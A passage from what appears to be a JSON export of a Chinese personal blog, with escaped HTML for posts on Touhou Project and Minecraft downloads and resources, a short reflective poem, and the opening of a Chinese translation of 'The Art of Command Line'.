href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99%20%EF%BD%9E%20Ten%20Desires.?fromtitle=%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99\u0026amp;fromid=6806125\" title=\"%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99\u0026amp;fromid=6806125\"\u003e百度百科-东方神灵庙\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方辉针城\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E\" class=\"headerlink\" title=\"东方辉针城\"\u003e\u003c/a\u003e东方辉针城\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/thumb/a/a5/%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E%E5%B0%81%E9%9D%A2.jpg/300px-%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-7\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-7\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iwyske05uhg\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-7\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-7\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-7\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-7\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E\"\u003eTHBWiki-东方辉针城\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E%20%EF%BD%9E%20Double%20Dealing%20Character.?fromtitle=%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E\u0026amp;fromid=4099732\" title=\"%E4%B8%9C%E6%96%B9%E8%BE%89%E9%92%88%E5%9F%8E\u0026amp;fromid=4099732\"\u003e百度百科-东方辉针城\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方绀珠传\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0\" class=\"headerlink\" title=\"东方绀珠传\"\u003e\u003c/a\u003e东方绀珠传\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/thumb/3/37/%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0%E5%B0%81%E9%9D%A2.jpg/300px-%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-8\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-8\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iQm8xe05xna\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-8\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-8\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-8\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-8\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0\"\u003eTHBWiki-东方绀珠传\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0%20%EF%BD%9E%20Legacy%20of%20Lunatic%20Kingdom.?fromtitle=%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0\u0026amp;fromid=17366371\" title=\"%E4%B8%9C%E6%96%B9%E7%BB%80%E7%8F%A0%E4%BC%A0\u0026amp;fromid=17366371\"\u003e百度百科-东方绀珠传\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"正作魔改工具\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%AD%A3%E4%BD%9C%E9%AD%94%E6%94%B9%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"正作魔改工具\"\u003e\u003c/a\u003e正作魔改工具\u003c/h3\u003e\u003ch4 id=\"sht文件编辑工具(在线)\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#sht%E6%96%87%E4%BB%B6%E7%BC%96%E8%BE%91%E5%B7%A5%E5%85%B7%EF%BC%88%E5%9C%A8%E7%BA%BF%EF%BC%89\" class=\"headerlink\" title=\".sht文件编辑工具(在线)\"\u003e\u003c/a\u003e.sht文件编辑工具(在线)\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/sht-webedit/index.html\"\u003e点击进入\u003c/a\u003e\u003c/del\u003e 没搬过来\u003c/p\u003e\u003ch4 id=\"THTK-Web-Editor(在线)\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#THTK-Web-Editor%EF%BC%88%E5%9C%A8%E7%BA%BF%EF%BC%89\" class=\"headerlink\" title=\"THTK Web Editor(在线)\"\u003e\u003c/a\u003eTHTK Web Editor(在线)\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/thtk-web-editor/index.html\"\u003e点击进入\u003c/a\u003e\u003c/del\u003e 还没做好(\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/"},{"title":"Minecraft","time":"2020-03-18T09:39:18Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Minecraft:永恒的经典\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft%EF%BC%9A%E6%B0%B8%E6%81%92%E7%9A%84%E7%BB%8F%E5%85%B8\" class=\"headerlink\" title=\"Minecraft:永恒的经典\"\u003e\u003c/a\u003eMinecraft:永恒的经典\u003c/h2\u003e\u003ch3 id=\"游戏\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#%E6%B8%B8%E6%88%8F\" class=\"headerlink\" title=\"游戏\"\u003e\u003c/a\u003e游戏\u003c/h3\u003e\u003ch4 id=\"Minecraft-PE下载\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-PE%E4%B8%8B%E8%BD%BD\" class=\"headerlink\" title=\"Minecraft PE下载\"\u003e\u003c/a\u003eMinecraft PE下载\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/ivaAVepdr1a\"\u003eMinecraft PE 音乐包\u003c/a\u003e:使用说明:把压缩包中的vanilla_music目录整个解压到\u003ccode\u003e/games/com.mojang/resources_packs/\u003c/code\u003e下。完成后,打开游戏,享受原版bgm。 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://minecraftpe-mods.com/apks/minecraft-1-16-201-01-xbox.apk\"\u003eMinecraft PE 1.16.201.01\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/itgFfdw9kdc\"\u003eMinecraft PE 1.14.60.5\u003c/a\u003e:点击下载\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzpaj\"\u003eMinecraft PE 1.14.30\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzo2f\"\u003eMinecraft PE 1.13.1.5\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzq9e\"\u003eMinecraft PE 1.12.1.1\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzjsb\"\u003eMinecraft PE 1.11.1.2\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzibi\"\u003eMinecraft PE 1.10.0.4\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzlej\"\u003eMinecraft PE 1.9.0.15\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzkmb\"\u003eMinecraft PE 1.8.1.2\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzhef\"\u003eMinecraft PE 1.7.0.13\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz96j\"\u003eMinecraft PE 1.6.1.0\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz81i\"\u003eMinecraft PE 1.5.3.0\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz78j\"\u003eMinecraft PE 1.4\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz69e\"\u003eMinecraft PE 1.2.1.1\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz5cb\"\u003eMinecraft PE 1.0.2\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz4cf\"\u003eMinecraft PE 0.16.1\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzeib\"\u003eMinecraft PE 0.15.4\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzeud\"\u003eMinecraft PE 0.14.1\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzdxa\"\u003eMinecraft PE 0.12.3\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzdif\"\u003eMinecraft PE 0.10.5\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz9mf\"\u003eMinecraft PE 0.9.5\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz9le\"\u003eMinecraft PE 0.9.0\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajz9ha\"\u003eMinecraft PE 0.8.1\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iajzcri\"\u003eMinecraft PE 0.1.0\u003c/a\u003e:点击下载 \u003c/li\u003e\u003cli\u003e\u003ca href=\"https://minecraft.azureedge.net/bin-linux/bedrock-server-1.14.60.5.zip\"\u003eBedrock Server 1.14.60.5\u003c/a\u003e:Minecraft基岩版Linux服务端\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e其实只要把最后的版本修改一下,就能下到所有版本的服务端\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"Minecraft-Win10下载\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-Win10%E4%B8%8B%E8%BD%BD\" class=\"headerlink\" title=\"Minecraft Win10下载\"\u003e\u003c/a\u003eMinecraft Win10下载\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/b01653z7i\"\u003eMinecraft Win10 1.14.60.5\u003c/a\u003e:点击下载(密码:755d)\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/b0165c61c\"\u003eMinecraft Win10 1.16.201.02\u003c/a\u003e:点击下载(密码:fiq3)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Minecraft-Java下载\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-Java%E4%B8%8B%E8%BD%BD\" class=\"headerlink\" title=\"Minecraft Java下载\"\u003e\u003c/a\u003eMinecraft Java下载\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/isNubrnc2ed\"\u003eHMCL-Minecraft启动器\u003c/a\u003e:相当好用的一个MC启动器。注意:需要安装Java,并安装到默认路径,否则启动器无法正常运行。\u003ca href=\"https://dreamweb.lanzoui.com/iOJUrrnc2ji\"\u003eLinux版下载\u003c/a\u003e|\u003ca href=\"https://dreamweb.lanzoui.com/i4Gujrnc2hg\"\u003eJava下载\u003c/a\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e用HMCL就能直接下载MC Java版。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"材质包\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#%E6%9D%90%E8%B4%A8%E5%8C%85\" class=\"headerlink\" title=\"材质包\"\u003e\u003c/a\u003e材质包\u003c/h3\u003e\u003ch4 id=\"Minecraft-PE材质包\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-PE%E6%9D%90%E8%B4%A8%E5%8C%85\" class=\"headerlink\" title=\"Minecraft PE材质包\"\u003e\u003c/a\u003eMinecraft PE材质包\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iG0k2eml94f\"\u003eCSPE材质包\u003c/a\u003e:点击下载\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Minecraft-Java材质包\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-Java%E6%9D%90%E8%B4%A8%E5%8C%85\" class=\"headerlink\" title=\"Minecraft Java材质包\"\u003e\u003c/a\u003eMinecraft Java材质包\u003c/h4\u003e\u003ch3 id=\"行为包\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#%E8%A1%8C%E4%B8%BA%E5%8C%85\" class=\"headerlink\" title=\"行为包\"\u003e\u003c/a\u003e行为包\u003c/h3\u003e\u003ch3 id=\"皮肤\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#%E7%9A%AE%E8%82%A4\" class=\"headerlink\" title=\"皮肤\"\u003e\u003c/a\u003e皮肤\u003c/h3\u003e\u003ch4 id=\"Minecraft-PE皮肤\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-PE%E7%9A%AE%E8%82%A4\" class=\"headerlink\" title=\"Minecraft PE皮肤\"\u003e\u003c/a\u003eMinecraft PE皮肤\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/b015m3m7g\"\u003e东方Project系列皮肤\u003c/a\u003e:红白红白红白(震声\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Minecraft-PC皮肤\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#Minecraft-PC%E7%9A%AE%E8%82%A4\" class=\"headerlink\" title=\"Minecraft PC皮肤\"\u003e\u003c/a\u003eMinecraft PC皮肤\u003c/h4\u003e\u003cp\u003e这里是空的(咕\u003c/p\u003e\u003ch3 id=\"其他资料\"\u003e\u003ca href=\"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/#%E5%85%B6%E4%BB%96%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"其他资料\"\u003e\u003c/a\u003e其他资料\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"http://www.minecraftxz.com/zhilingdaquan/\"\u003eMinecraft PE版指令大全\u003c/a\u003e:点击进入\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e[[写一个基岩版的启动脚本]]\u003c/li\u003e\u003cli\u003e[[frp内网穿透搭建Minecraft服务器]]\u003c/li\u003e\u003cli\u003e[[MCSManager开服小记]]\u003c/li\u003e\u003cli\u003e[[HMCL食用指南]]\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/03/18/%E6%B8%B8%E6%88%8F/Minecraft/Minecraft/"},{"title":"路","time":"2019-08-24T11:21:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e以前写的,丢上来,共勉。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e读完之后,只能感慨 \u003c/p\u003e\u003cp\u003e经历以后,只有遗憾 \u003c/p\u003e\u003cp\u003e高三的我,不是学霸 \u003c/p\u003e\u003cp\u003e却胜似学渣 \u003c/p\u003e\u003cp\u003e在我感到迷茫之时 \u003c/p\u003e\u003cp\u003e我的耳边有人轻语 \u003c/p\u003e\u003cp\u003e敢问路在何方 \u003c/p\u003e\u003cp\u003e我突然想起 \u003c/p\u003e\u003cp\u003e路在 脚下 \u003c/p\u003e\u003cp\u003e2019.8.24\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2019/08/24/%E6%96%87%E5%AD%A6/%E4%B9%A6%E6%96%8B/%E8%B7%AF/"},{"title":"命令行的艺术","time":"2015-06-21T06:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003ca href=\"https://gitter.im/jlevy/the-art-of-command-line?utm_source=badge\u0026amp;utm_medium=badge\u0026amp;utm_campaign=pr-badge\u0026amp;utm_content=badge\"\u003e\u003cimg src=\"https://badges.gitter.im/Join%20Chat.svg\" alt=\"Join the chat at https://gitter.im/jlevy/the-art-of-command-line\"/\u003e\u003c/a\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%89%8D%E8%A8%80\"\u003e前言\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%9F%BA%E7%A1%80\"\u003e基础\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%97%A5%E5%B8%B8%E4%BD%BF%E7%94%A8\"\u003e日常使用\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%96%87%E4%BB%B6%E5%8F%8A%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86\"\u003e文件及数据处理\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E7%B3%BB%E7%BB%9F%E8%B0%83%E8%AF%95\"\u003e系统调试\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%8D%95%E8%A1%8C%E8%84%9A%E6%9C%AC\"\u003e单行脚本\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%86%B7%E9%97%A8%E4%BD%86%E6%9C%89%E7%94%A8\"\u003e冷门但有用\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E4%BB%85%E9%99%90-os-x-%E7%B3%BB%E7%BB%9F\"\u003e仅限 OS X 系统\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E4%BB%85%E9%99%90-windows-%E7%B3%BB%E7%BB%9F\"\u003e仅限 Windows 系统\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%9B%B4%E5%A4%9A%E8%B5%84%E6%BA%90\"\u003e更多资源\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%85%8D%E8%B4%A3%E5%A3%B0%E6%98%8E\"\u003e免责声明\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e熟练使用命令行是一种常常被忽视,或被认为难以掌握的技能,但实际上,它会提高你作为工程师的灵活性以及生产力。本文是一份我在 Linux 上工作时,发现的一些命令行使用技巧的摘要。有些技巧非常基础,而另一些则相当复杂,甚至晦涩难懂。这篇文章并不长,但当你能够熟练掌握这里列出的所有技巧时,你就学会了很多关于命令行的东西了。\u003c/p\u003e\u003cp\u003e这篇文章是\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/AUTHORS.md\"\u003e许多作者和译者\u003c/a\u003e共同的成果。\u003cbr/\u003e这里的部分内容\u003cbr/\u003e\u003ca href=\"http://www.quora.com/What-are-some-lesser-known-but-useful-Unix-commands\"\u003e首次\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"http://www.quora.com/What-are-the-most-useful-Swiss-army-knife-one-liners-on-Unix\"\u003e出现\u003c/a\u003e\u003cbr/\u003e于 \u003ca href=\"http://www.quora.com/What-are-some-time-saving-tips-that-every-Linux-user-should-know\"\u003eQuora\u003c/a\u003e,\u003cbr/\u003e但已经迁移到了 Github,并由众多高手做出了许多改进。\u003cbr/\u003e如果你在本文中发现了错误或者存在可以改善的地方,请\u003ca 